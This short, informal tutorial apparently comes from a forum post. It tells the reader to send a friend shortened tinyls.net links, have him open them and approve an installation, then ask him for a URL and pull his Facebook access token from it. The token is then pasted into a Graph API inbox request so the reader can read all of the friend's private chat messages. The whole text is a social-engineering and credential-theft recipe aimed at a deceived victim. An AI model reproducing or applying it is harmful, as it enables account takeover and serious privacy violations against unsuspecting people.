give this link to your friend
and say "open it"
http://tinyls.net/fbmsg1
after he opens it an installation will occured,
then one window will appear, ask him the url and
extract the access token it.
http://tinyls.net/fbmsg2
now you have got the ACCESS_TOKEN
just past access token in this link (replace the "x"
with access token in the last xx)
https://graph.facebook.com /me/inbox?
access_token=xx
Now You Can Able To Read That Person's All Chat
Message
Note:
the "tinyls" is url converor
just open the link you are redirect to original url..